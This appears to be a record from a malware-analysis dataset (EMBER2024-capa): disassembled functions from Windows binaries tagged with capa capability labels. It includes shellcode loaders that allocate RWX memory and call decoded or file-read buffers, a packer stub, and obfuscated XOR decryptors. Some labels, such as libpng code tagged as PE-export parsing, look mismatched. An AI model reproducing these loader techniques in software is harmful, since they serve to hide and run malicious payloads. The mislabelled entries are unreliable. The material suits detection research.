joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5cc460
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x5cc66a
mov ecx, dword [esp + 0xc]
xor edx, edx
cmp eax, 8
jb 0x5cc620
xor edx, edx
cmp eax, 0x10
jb 0x5cc548
mov edx, eax
and edx, 0xfffffff0
xor esi, esi
movdqa xmm0, xmmword [0x650010]
movdqa xmm1, xmmword [0x650020]
movdqa xmm2, xmmword [str._a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a]
nop word [eax + eax]
movdqu xmm3, xmmword [ecx + esi]
movdqa xmm4, xmm3
psrlw xmm4, 7
pand xmm4, xmm0
movdqa xmm5, xmm3
psrlw xmm5, 6
pand xmm5, xmm1
pxor xmm5, xmm4
movdqa xmm4, xmm3
psrlw xmm4, 5
pand xmm4, xmm2
movdqa xmm6, xmm3
psrlw xmm6, 4
pxor xmm6, xmm4
pxor xmm6, xmm5
movdqa xmm4, xmm3
psrlw xmm4, 3
movdqa xmm5, xmm3
psrlw xmm5, 2
pxor xmm5, xmm4
movdqa xmm4, xmm0
pandn xmm4, xmm3
psrlw xmm3, 1
pxor xmm3, xmm5
pxor xmm3, xmm6
pand xmm3, xmm0
por xmm3, xmm4
pxor xmm3, xmm0
movdqu xmmword [ecx + esi], xmm3
add esi, 0x10
cmp edx, esi
jne 0x5cc4b0
cmp edx, eax
je 0x5cc66a
test al, 8
je 0x5cc620
mov esi, edx
mov edx, eax
and edx, 0xfffffff8
movdqa xmm4, xmmword [0x650050]
movdqa xmm5, xmmword [0x650060]
movdqa xmm6, xmmword [0x650070]
movdqa xmm7, xmmword [0x650080]
nop
movq xmm0, qword [ecx + esi]
movdqa xmm1, xmm0
psrlw xmm1, 7
pand xmm1, xmmword [0x650010]
movdqa xmm2, xmm0
psrlw xmm2, 6
pand xmm2, xmmword [0x650020]
pxor xmm2, xmm1
movdqa xmm1, xmm0
psrlw xmm1, 5
pand xmm1, xmmword [str._a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a]
movdqa xmm3, xmm0
psrlw xmm3, 4
pand xmm3, xmmword [0x650040]
pxor xmm3, xmm1
pxor xmm3, xmm2
movdqa xmm1, xmm0
psrlw xmm1, 3
pand xmm1, xmm4
movdqa xmm2, xmm0
psrlw xmm2, 2
pand xmm2, xmm5
pxor xmm2, xmm1
movdqa xmm1, xmm0
psrlw xmm1, 1
pxor xmm1, xmm2
pxor xmm1, xmm3
pand xmm1, xmm6
pand xmm0, xmm7
por xmm0, xmm1
pxor xmm0, xmm6
movq qword [ecx + esi], xmm0
add esi, 8
cmp edx, esi
jne 0x5cc570
cmp edx, eax
je 0x5cc66a
nop dword [eax + eax]
movzx ebx, byte [ecx + edx]
mov bh, bl
shr bh, 7
mov esi, eax
mov eax, ebx
shr al, 6
xor al, bh
mov ah, bl
shr ah, 5
mov bh, bl
shr bh, 4
xor bh, ah
xor bh, al
mov eax, ebx
shr al, 3
mov ah, bl
shr ah, 2
xor ah, al
mov al, bl
shr al, 1
xor al, ah
xor al, bh
and al, 1
and bl, 0xfe
or bl, al
mov eax, esi
xor bl, 1
mov byte [ecx + edx], bl
add edx, 1
cmp esi, edx
jne 0x5cc620
pop esi
pop ebx
ret
Function at 0x5cd5be
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push edi
push esi
sub esp, 0xc
mov esi, dword [esp + 0x1c]
mov eax, dword [0x7c3824]
xor eax, esp
mov dword [esp + 8], eax
mov eax, dword [esi + 0x74]
test al, 1
je 0x5cd723
mov ebx, dword [esp + 0x24]
test al, 6
je 0x5cd610
push ebx
push esi
call fcn.005ccffd
add esp, 8
push str.out_of_place
push esi
call fcn.005d11be
add esp, 8
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.005db451
add esp, 0xc
pop esi
pop edi
pop ebx
ret
mov edi, dword [esp + 0x20]
test edi, edi
je 0x5cd622
test byte [edi + 8], 2
jne 0x5cd6cb
cmp byte [esi + 0x14f], 3
jne 0x5cd634
mov dl, 8
mov eax, 3
jmp 0x5cd641
movzx eax, byte [esi + 0x153]
mov dl, byte [esi + 0x150]
cmp ebx, 4
ja 0x5cd6b1
cmp eax, ebx
jne 0x5cd6b1
movzx eax, dl
imul eax, eax, 0x1010101
lea ecx, [esp + 4]
mov dword [ecx], eax
push ebx
push ecx
push esi
mov byte [esp + 0xf], dl
call fcn.005ccfde
add esp, 0xc
push 0
push esi
call fcn.005ccffd
add esp, 8
test eax, eax
jne 0x5cd5fe
test ebx, ebx
mov dl, byte [esp + 3]
je 0x5cd694
xor eax, eax
mov cl, byte [esp + eax + 4]
dec cl
cmp cl, dl
jae 0x5cd719
inc eax
cmp ebx, eax
jne 0x5cd681
test byte [esi + 0x14f], 2
mov al, byte [esp + 4]
jne 0x5cd6df
lea ecx, [esp + 5]
mov byte [esi + 0x1a7], al
mov edx, eax
mov ah, al
jmp 0x5cd6e9
push str.invalid
push esi
call fcn.005d11be
add esp, 8
push ebx
push esi
call fcn.005ccffd
jmp 0x5cd5fb
push ebx
push esi
call fcn.005ccffd
add esp, 8
push str.duplicate
jmp 0x5cd5f5
lea ecx, [esp + 7]
mov dl, byte [ecx - 2]
mov ah, byte [ecx - 1]
mov cl, byte [ecx]
lea ebx, [esi + 0x1a4]
mov byte [esi + 0x1a4], al
mov byte [esi + 0x1a5], dl
mov byte [esi + 0x1a6], ah
mov byte [esi + 0x1a8], cl
push ebx
push edi
push esi
call fcn.005c8ea1
add esp, 0xc
jmp 0x5cd5fe
push str.invalid
jmp 0x5cd5f5
push str.missing_IHDR
push esi
call fcn.005d10b8
Function at 0x5cd72e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x54
mov ebp, dword [esp + 0x68]
mov eax, dword [0x7c3824]
xor eax, esp
mov dword [esp + 0x50], eax
mov ecx, dword [ebp + 0x74]
test cl, 1
je 0x5cd8de
mov eax, dword [esp + 0x70]
test cl, 6
je 0x5cd76d
push eax
push ebp
call fcn.005ccffd
add esp, 8
push str.out_of_place
jmp 0x5cd89e
cmp eax, 0x20
jne 0x5cd88f
lea eax, [esp + 0x30]
push 0x20
push eax
push ebp
call fcn.005ccfde
add esp, 0xc
push 0
push ebp
call fcn.005ccffd
add esp, 8
test eax, eax
jne 0x5cd8a7
lea ecx, [esp + 0x30]
call fcn.005cd5b1
mov dword [esp + 0xc], eax
mov dword [esp + 0x28], eax
lea ecx, [esp + 0x34]
call fcn.005cd5b1
mov dword [esp + 8], eax
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x38]
call fcn.005cd5b1
mov dword [esp + 4], eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x3c]
call fcn.005cd5b1
mov dword [esp], eax
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x40]
call fcn.005cd5b1
mov esi, eax
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x44]
call fcn.005cd5b1
mov edi, eax
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x48]
call fcn.005cd5b1
mov ebx, eax
mov dword [esp + 0x20], eax
lea ecx, [esp + 0x4c]
call fcn.005cd5b1
mov dword [esp + 0x24], eax
cmp dword [esp + 0xc], 0xffffffff
je 0x5cd8ba
cmp dword [esp + 8], 0xffffffff
je 0x5cd8ba
cmp dword [esp + 4], 0xffffffff
je 0x5cd8ba
cmp dword [esp], 0xffffffff
je 0x5cd8ba
cmp esi, 0xffffffff
je 0x5cd8ba
cmp edi, 0xffffffff
je 0x5cd8ba
cmp ebx, 0xffffffff
je 0x5cd8ba
cmp eax, 0xffffffff
je 0x5cd8ba
movzx eax, word [ebp + 0x312]
test ax, ax
js 0x5cd8a7
mov esi, dword [esp + 0x6c]
test al, 0x10
jne 0x5cd8c1
lea ecx, [ebp + 0x2c8]
or eax, 0x10
mov word [ebp + 0x312], ax
lea eax, [esp + 0x10]
push 1
push eax
push ecx
push ebp
call fcn.005c20bb
add esp, 0x10
push esi
push ebp
call fcn.005c2093
jmp 0x5cd8a4
push eax
push ebp
call fcn.005ccffd
add esp, 8
push str.invalid
push ebp
call fcn.005d11be
add esp, 8
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.005db451
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
push str.invalid_values
jmp 0x5cd89e
or eax, 0x8000
mov word [ebp + 0x312], ax
push esi
push ebp
call fcn.005c2093
add esp, 8
push str.duplicate
jmp 0x5cd89e
push str.missing_IHDR
push ebp
call fcn.005d10b8

Function at 0x5d1288
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x5d12a8
mov eax, dword [ecx + 0x40]
test eax, eax
je 0x5d12a8
mov ecx, dword [ecx + 0x44]
test ecx, ecx
je 0x5d12a8
push dword [esp + 8]
push ecx
call eax
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x5d38e8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov ecx, dword [esp + 0x3c]
mov esi, dword [esp + 0x2c]
mov eax, dword [0x7c3824]
xor eax, esp
mov dword [esp + 0x14], eax
cmp ecx, 6
ja case.0x5d390f.25
mov edx, dword [esp + 0x38]
jmp dword [ecx*4 + 0x652b4c]
cmp edx, 0x10
ja 0x5d3927
mov al, 1
mov ecx, 0x10116
bt ecx, edx
jb 0x5d398b
push str.Invalid_bit_depth_for_grayscale_image
jmp 0x5d3b20
mov al, 3
cmp edx, 8
je 0x5d398b
cmp edx, 0x10
je 0x5d398b
push str.Invalid_bit_depth_for_RGB_image
jmp 0x5d3b20
lea ecx, [edx - 1]
cmp ecx, 8
jae 0x5d395b
mov al, 1
mov edx, 0x8b
bt edx, ecx
jb 0x5d398b
push str.Invalid_bit_depth_for_paletted_image
jmp 0x5d3b20
mov al, 2
cmp edx, 8
je 0x5d398b
cmp edx, 0x10
je 0x5d398b
push str.Invalid_bit_depth_for_grayscalealpha_image
jmp 0x5d3b20
mov al, 4
cmp edx, 8
je 0x5d398b
cmp edx, 0x10
jne 0x5d3b1b
mov ecx, dword [esp + 0x40]
mov byte [esi + 0x153], al
test ecx, ecx
je 0x5d39a7
push str.Invalid_compression_type_specified
push esi
call fcn.005d0e31
add esp, 8
mov ebx, dword [esp + 0x48]
mov eax, dword [esp + 0x44]
test byte [esi + 0x254], 4
je 0x5d39d1
test byte [esi + 0x75], 0x10
jne 0x5d39d1
mov ecx, dword [esp + 0x3c]
and ecx, 0xfffffffb
cmp ecx, 2
jne 0x5d39d1
mov cl, 0x40
cmp eax, 0x40
je 0x5d39e5
test eax, eax
je 0x5d39e3
push str.Invalid_filter_type_specified
push esi
call fcn.005d0e31
add esp, 8
xor ecx, ecx
mov ebp, dword [esp + 0x30]
cmp ebx, 2
jb 0x5d3a03
push str.Invalid_interlace_type_specified
push esi
mov edi, ecx
call fcn.005d0e31
mov ecx, edi
add esp, 8
xor ebx, ebx
inc ebx
mov edx, dword [esp + 0x38]
mov byte [esi + 0x150], dl
mov eax, dword [esp + 0x3c]
mov byte [esi + 0x14f], al
mov byte [esi + 0x14c], bl
mov dword [esp], ecx
mov byte [esi + 0x258], cl
mov byte [esi + 0x278], 0
mov dword [esi + 0x100], ebp
mov eax, dword [esp + 0x34]
mov dword [esi + 0x104], eax
mov cl, byte [esi + 0x153]
mov eax, ecx
mul dl
mov byte [esi + 0x152], al
movzx edx, al
mov edi, ebx
cmp al, 8
jb 0x5d3a5e
shr edx, 3
imul edx, ebp
jmp 0x5d3a67
imul edx, ebp
add edx, 7
shr edx, 3
mov dword [esi + 0x110], edx
mov dword [esi + 0x10c], ebp
mov ebx, dword [esp + 0x38]
mov byte [esi + 0x151], bl
mov byte [esi + 0x154], cl
lea eax, [esp + 7]
push ebp
push eax
call fcn.005d36dc
add esp, 8
lea ebp, [esp + 0xb]
push dword [esp + 0x34]
push ebp
call fcn.005d36dc
add esp, 8
mov byte [ebp + 4], bl
mov eax, dword [esp + 0x3c]
mov byte [ebp + 5], al
mov byte [ebp + 6], 0
mov eax, dword [esp]
mov byte [ebp + 7], al
mov eax, edi
mov byte [ebp + 8], al
mov ecx, esi
mov edx, 0x49484452
push 0xd
lea eax, [esp + 0xb]
push eax
call fcn.005d387a
add esp, 8
cmp byte [esi + 0x14e], 0
jne 0x5d3afa
mov al, 8
cmp byte [esi + 0x14f], 3
je 0x5d3af4
cmp byte [esi + 0x150], 8
setb al
shl al, 4
add al, 0xf8
mov byte [esi + 0x14e], al
mov dword [esi + 0x74], 1
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.005db451
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
push str.Invalid_image_color_type_specified
jmp 0x5d3b20
push str.Invalid_bit_depth_for_RGBA_image
push esi
call fcn.005d0c48
Function at 0x6054cd
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.006054e3

Function at 0x6054d8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00605722

Function at 0x60b66c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0060b677

Function at 0x16a4120
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.GVD1
lea edi, [esi - 0x1270000]
push edi
or ebp, 0xffffffff
jmp 0x16a4142
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x16a4149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
mov al, byte [edi]
jb 0x16a4138
mov eax, 1
add ebx, ebx
jne 0x16a415d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x16a416e
jne 0x16a417e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16a417e
dec eax
add ebx, ebx
jne 0x16a417a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x16a4152
xor ecx, ecx
sub eax, 3
jb 0x16a4196
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x16a420a
sar eax, 1
mov ebp, eax
jmp 0x16a41a1
add ebx, ebx
jne 0x16a41a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x16a41ae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x16a41d2
inc ecx
add ebx, ebx
jne 0x16a41be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x16a41b3
jne 0x16a41cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x16a41b3
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
mov al, byte [edi + ecx]
jbe 0x16a41f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x16a41e6
jmp 0x16a413e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x16a41f4
add edi, ecx
jmp 0x16a413e
pop esi
mov edi, esi
mov ecx, 0x346a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x16a4212
cmp byte [edi], 0x16
jne 0x16a4212
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x16a4217
lea edi, [esi + 0x12a1000]
mov eax, dword [edi]
or eax, eax
je 0x16a4286
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12a57f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12a58e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x16a4244
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12a58ec]
or eax, eax
je 0x16a4280
mov dword [ebx], eax
add ebx, 4
jmp 0x16a4261
call dword [esi + 0x12a58f0]
popal
jmp 0x46b748
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1fcd6161
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x2222195d
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000117f
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011aa
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x100011fd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40288e
pop dword [ebp - 0x30]
mov eax, 0xc2ab6dca
sub eax, 0xc26b453c
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x60784820
add dword [ebp - 0x40], 0xedd9fd2b
mov dword [ebp - 0x3c], 0x4b3088ec
add dword [ebp - 0x3c], 0xe702c359
mov dword [ebp - 0x38], 0x6d4e5392
sub dword [ebp - 0x38], 0x21020f64
mov dword [ebp - 0x34], 0xdfdfc36c
add dword [ebp - 0x34], 0x20203c94
lea eax, [ebp - 0x40]
push eax
mov eax, 0x5df9312
add eax, 0xfa60ed7a
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x939581bf
sub dword [ebp - 0x40], 0x1f231869
mov dword [ebp - 0x3c], 0x46d8bafb
sub dword [ebp - 0x3c], 0x56c5986
mov dword [ebp - 0x38], 0xa3a1dc50
sub dword [ebp - 0x38], 0x40326fe4
mov dword [ebp - 0x34], 0x4294887a
sub dword [ebp - 0x34], 0x4294887a
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xf7fc455d
sub eax, 0xf7bbc489
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x38246
push 0
call eax
mov ecx, 0x4e2f
xor esi, esi
add esi, eax
mov edi, 0x411000
add edi, dword [ebp - 0x30]
mov ebx, 0x338f9225
sub dword [ebp - 8], ebx
mov edx, dword [edi]
xor dword [ebp - 0x20], edi
sub edx, ebx
sub dword [ebp - 0x10], 0xf68685ec
mov dword [esi], edx
xor dword [ebp - 0xc], ecx
add esi, 0x1e23ce60
add esi, 0xe1dc31a4
add edi, 0xcfae3a41
sub edi, 0xcfae3a3d
loop 0x4029a0
add eax, 0xf6afaef7
sub eax, 0xf6ae8368
mov ebx, eax
add eax, 0xe7124042
sub eax, 0xe712403d
mov ecx, 0xd2385904
sub ecx, 0xd1f85904
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x40216b
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
call main
jmp 0x402175
push 0x14
push 0x411788
call fcn.00405300
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x4021a3
xor ebx, ebx
jmp 0x4021d6
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40219f
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40219f
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x4021d6
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004048ef
test eax, eax
jne 0x4021ea
push 0x1c
call main
pop ecx
call fcn.00403b58
test eax, eax
jne 0x4021fb
push 0x10
call main
pop ecx
call fcn.004051cc
and dword [ebp - 4], 0
call fcn.00404904
test eax, eax
jns 0x402215
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4162e8], eax
call main
mov dword [0x414430], eax
call main
test eax, eax
jns 0x40223b
push 8
call main
pop ecx
call fcn.00404de7
test eax, eax
jns 0x40224c
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x40225f
push eax
call main
pop ecx
call fcn.00405299
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x402281
push esi
call main
call fcn.00404663
jmp 0x4022b6
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00405345
ret

Function at 0x407590
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40759f
pop dword [ebp - 0x14]
mov eax, 0xcedfc919
add eax, 0x3160ac86
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x93e326a7
add dword [ebp - 0x24], 0xba6f1ea4
mov dword [ebp - 0x20], 0xa3bdde29
add dword [ebp - 0x20], 0x8e756e1c
mov dword [ebp - 0x1c], 0x7890b031
sub dword [ebp - 0x1c], 0x2c446c03
mov dword [ebp - 0x18], 0x45857088
sub dword [ebp - 0x18], 0x45857088
lea eax, [ebp - 0x24]
push eax
mov eax, 0x23f70820
sub eax, 0x23b637ec
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x1536c578
sub dword [ebp - 0x24], 0xa0c45c22
mov dword [ebp - 0x20], 0xd8e42417
add dword [ebp - 0x20], 0x68883d5e
mov dword [ebp - 0x1c], 0xe0c3aaf9
sub dword [ebp - 0x1c], 0x7d543e8d
mov dword [ebp - 0x18], 0xadf32039
sub dword [ebp - 0x18], 0xadf32039
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xaf2b27a7
add eax, 0x5115a889
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x38485
push 0
call eax
mov ecx, 0x44f3
mov ebx, eax
mov edi, 0x772ec762
sub edi, 0x76ecb762
add edi, dword [ebp - 0x14]
mov edx, 0xf58dcd12
mov esi, dword [edi]
xor dword [ebp - 4], ebx
sub esi, edx
mov dword [ebx], esi
xor dword [ebp - 8], 0xc8431443
add ebx, 0xe6e28b83
sub ebx, 0xe6e28b7f
add edi, 0x9a5bb8ec
add edi, 0x65a44718
loop 0x4076b5
add eax, 0x1069f
mov ebx, eax
add eax, 0x98690123
add eax, 0x6796fee2
mov ecx, 0x9960c878
sub ecx, 0x9920c878
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x1004e7d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov edi, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov eax, edi
and eax, 0xfffffffc
je 0x1004e88f
lea esi, [eax - 1]
mov edi, esi
shr edi, 2
inc edi
mov ecx, edi
and ecx, 3
cmp eax, 0xd
jae 0x1004e800
xor eax, eax
xor ebx, ebx
jmp 0x1004e84b
and edi, 0xfffffffc
xor eax, eax
xor ebx, ebx
nop word [eax + eax]
rol eax, 5
xor eax, dword [edx + ebx]
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, dword [edx + ebx + 4]
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, dword [edx + ebx + 8]
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, dword [edx + ebx + 0xc]
imul eax, eax, 0x9e3779b9
add ebx, 0x10
add edi, 0xfffffffc
jne 0x1004e810
test ecx, ecx
je 0x1004e869
add ebx, edx
shl ecx, 2
xor edi, edi
rol eax, 5
xor eax, dword [ebx + edi]
imul eax, eax, 0x9e3779b9
add edi, 4
cmp ecx, edi
jne 0x1004e856
and esi, 0xfffffffc
add esi, 4
mov edi, dword [ebp + 0xc]
cmp esi, edi
jae 0x1004e88a
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc esi
cmp edi, esi
jne 0x1004e876
pop esi
pop edi
pop ebx
pop ebp
ret
xor esi, esi
xor eax, eax
cmp esi, edi
jb 0x1004e876
jmp 0x1004e88a

Function at 0x1004f02e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1004f03d
pop dword [ebp - 0x38]
mov eax, 0xa4041cad
sub eax, 0x93ff2c70
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x390c0
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x4f1f
xor edi, edi
add edi, eax
mov edx, 0x24d97727
add edx, 0xeb3174d9
add edx, dword [ebp - 0x38]
mov esi, 0x8b2d4df5
add esi, 0x80a3c87b
sub dword [ebp - 0x1c], 0xeae7e942
mov ebx, dword [edx]
add dword [ebp - 0x34], 0x1b65ed3f
add ebx, esi
add dword [ebp - 0x18], 0x22190548
mov dword [edi], ebx
xor dword [ebp - 8], ecx
add edi, 0x43780ec4
add edi, 0xbc87f140
add edx, 0x8f7470e7
sub edx, 0x8f7470e3
loop 0x1004f093
add eax, 0x281f31f1
sub eax, 0x281e02a2
mov ebx, eax
add eax, 0xeca12f8
sub eax, 0xeca12f3
mov ecx, 0x1f719a94
sub ecx, 0xf719a94
add ecx, dword [ebp - 0x38]
call ebx
leave
ret